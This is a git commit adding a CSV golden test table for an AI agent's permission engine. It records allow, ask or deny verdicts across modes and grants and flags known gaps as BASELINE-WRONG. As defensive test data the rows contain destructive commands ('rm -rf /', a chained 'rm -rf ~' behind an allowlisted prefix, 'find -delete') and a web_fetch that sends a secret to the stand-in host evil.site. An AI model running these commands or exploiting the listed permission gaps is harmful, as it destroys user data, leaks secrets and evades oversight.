Phase 0: golden decision table for the permission engine

Freezes today's evaluate() verdict across 26 (mode, tool, args, grants)
situations, so any later permission change shows up as a row-diff. Four rows
are marked BASELINE-WRONG / BASELINE-ANNOYING on purpose: they record known
gaps (shell auto with no sandbox, find -delete and find -exec auto-allowed via
a find prefix, git status && git diff rejected for the operator, web_fetch
never gating in any mode). The PRs that fix these flip their rows here as the
visible proof.

Design of record: ocw-context/docs/reviewed-auto-mode.md Parts 3 and 7.
This commit is contained in:
Devika Verma
2026-08-11 11:18:21 -07:00
parent 9702c86c7f
commit d976e82a88
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id,mode,tool,args,meta,allowed_commands,session_tools,session_commands,standing,auto_allow,allowed_domains,expected,note
read-interactive,interactive,read_file,"{""path"": ""a.txt""}",,,,,,,,allow,pure local read always runs
read-plan,plan,read_file,"{""path"": ""a.txt""}",,,,,,,,allow,reads allowed in read-only modes
write-interactive,interactive,write_file,"{""path"": ""a.txt"", ""content"": ""x""}",,,,,,,,ask,write in-root asks
write-escape-rel,interactive,write_file,"{""path"": ""../../escape.txt"", ""content"": ""x""}",,,,,,,,deny,write outside writable root blocked
write-escape-abs,interactive,write_file,"{""path"": ""C:/Windows/evil.ini"", ""content"": ""x""}",,,,,,,,deny,absolute path outside root blocked
write-plan,plan,write_file,"{""path"": ""a.txt"", ""content"": ""x""}",,,,,,,,deny,plan mode is read-only
write-auto,auto,write_file,"{""path"": ""a.txt"", ""content"": ""x""}",,,,,,,,allow,auto allows in-root write
write-auto-escape,auto,write_file,"{""path"": ""../../escape.txt"", ""content"": ""x""}",,,,,,,,deny,auto still path-scopes writes
write-custom-autoallow,custom,write_file,"{""path"": ""a.txt"", ""content"": ""x""}",,,,,,write_file,,allow,custom mode auto-approves configured tool
write-custom-notlisted,custom,write_file,"{""path"": ""a.txt"", ""content"": ""x""}",,,,,,,,ask,custom mode still asks for unlisted tool
shell-interactive,interactive,run_shell,"{""command"": ""pytest -q""}",,,,,,,,ask,shell asks by default
shell-allowlist-prefix,interactive,run_shell,"{""command"": ""git status -s""}",,git status,,,,,,allow,command matches allowlist prefix
shell-allowlist-chained,interactive,run_shell,"{""command"": ""git status && rm -rf ~""}",,git status,,,,,,ask,operator disqualifies the chained command
shell-session-command,interactive,run_shell,"{""command"": ""make build""}",,,,make build,,,,allow,exact session command grant
shell-plan,plan,run_shell,"{""command"": ""ls""}",,,,,,,,deny,plan mode blocks shell
shell-auto,auto,run_shell,"{""command"": ""rm -rf /""}",,,,,,,,allow,BASELINE-WRONG auto allows any command with no sandbox
shell-find-delete,interactive,run_shell,"{""command"": ""find . -delete""}",,find,,,,,,allow,BASELINE-WRONG find prefix auto-allows a destructive form
shell-find-exec,interactive,run_shell,"{""command"": ""find . -exec rm {} +""}",,find,,,,,,allow,BASELINE-WRONG find -exec auto-allowed via prefix
shell-two-reads,interactive,run_shell,"{""command"": ""git status && git diff""}",,git status|git diff,,,,,,ask,BASELINE-ANNOYING two allowed reads rejected for the operator
connector-read,interactive,gmail_list,{},read,,,,,,,allow,connector read never gates
connector-write,interactive,gmail_send,{},external,,,,,,,ask,connector write asks
connector-always-ignored,interactive,gmail_send,{},external,,gmail_send,,,,,ask,session tool grant deliberately ignored for connectors
standing-match,interactive,send_message,"{""target"": ""slack:T1/C1"", ""text"": ""hi""}",external,,,,send_message slack:T1/C1,,,allow,standing rule matches the exact target
standing-mismatch,interactive,send_message,"{""target"": ""slack:T1/C2"", ""text"": ""hi""}",external,,,,send_message slack:T1/C1,,,ask,standing rule does not cover a different target
webfetch-interactive,interactive,web_fetch,"{""url"": ""https://evil.site/log?d=SECRET""}",,,,,,,,allow,BASELINE-WRONG web_fetch classed as read so never gates
webfetch-plan,plan,web_fetch,"{""url"": ""https://evil.site/log?d=SECRET""}",,,,,,,,allow,BASELINE-WRONG web_fetch runs even in read-only plan mode
1 id mode tool args meta allowed_commands session_tools session_commands standing auto_allow allowed_domains expected note
2 read-interactive interactive read_file {"path": "a.txt"} allow pure local read always runs
3 read-plan plan read_file {"path": "a.txt"} allow reads allowed in read-only modes
4 write-interactive interactive write_file {"path": "a.txt", "content": "x"} ask write in-root asks
5 write-escape-rel interactive write_file {"path": "../../escape.txt", "content": "x"} deny write outside writable root blocked
6 write-escape-abs interactive write_file {"path": "C:/Windows/evil.ini", "content": "x"} deny absolute path outside root blocked
7 write-plan plan write_file {"path": "a.txt", "content": "x"} deny plan mode is read-only
8 write-auto auto write_file {"path": "a.txt", "content": "x"} allow auto allows in-root write
9 write-auto-escape auto write_file {"path": "../../escape.txt", "content": "x"} deny auto still path-scopes writes
10 write-custom-autoallow custom write_file {"path": "a.txt", "content": "x"} write_file allow custom mode auto-approves configured tool
11 write-custom-notlisted custom write_file {"path": "a.txt", "content": "x"} ask custom mode still asks for unlisted tool
12 shell-interactive interactive run_shell {"command": "pytest -q"} ask shell asks by default
13 shell-allowlist-prefix interactive run_shell {"command": "git status -s"} git status allow command matches allowlist prefix
14 shell-allowlist-chained interactive run_shell {"command": "git status && rm -rf ~"} git status ask operator disqualifies the chained command
15 shell-session-command interactive run_shell {"command": "make build"} make build allow exact session command grant
16 shell-plan plan run_shell {"command": "ls"} deny plan mode blocks shell
17 shell-auto auto run_shell {"command": "rm -rf /"} allow BASELINE-WRONG auto allows any command with no sandbox
18 shell-find-delete interactive run_shell {"command": "find . -delete"} find allow BASELINE-WRONG find prefix auto-allows a destructive form
19 shell-find-exec interactive run_shell {"command": "find . -exec rm {} +"} find allow BASELINE-WRONG find -exec auto-allowed via prefix
20 shell-two-reads interactive run_shell {"command": "git status && git diff"} git status|git diff ask BASELINE-ANNOYING two allowed reads rejected for the operator
21 connector-read interactive gmail_list {} read allow connector read never gates
22 connector-write interactive gmail_send {} external ask connector write asks
23 connector-always-ignored interactive gmail_send {} external gmail_send ask session tool grant deliberately ignored for connectors
24 standing-match interactive send_message {"target": "slack:T1/C1", "text": "hi"} external send_message slack:T1/C1 allow standing rule matches the exact target
25 standing-mismatch interactive send_message {"target": "slack:T1/C2", "text": "hi"} external send_message slack:T1/C1 ask standing rule does not cover a different target
26 webfetch-interactive interactive web_fetch {"url": "https://evil.site/log?d=SECRET"} allow BASELINE-WRONG web_fetch classed as read so never gates
27 webfetch-plan plan web_fetch {"url": "https://evil.site/log?d=SECRET"} allow BASELINE-WRONG web_fetch runs even in read-only plan mode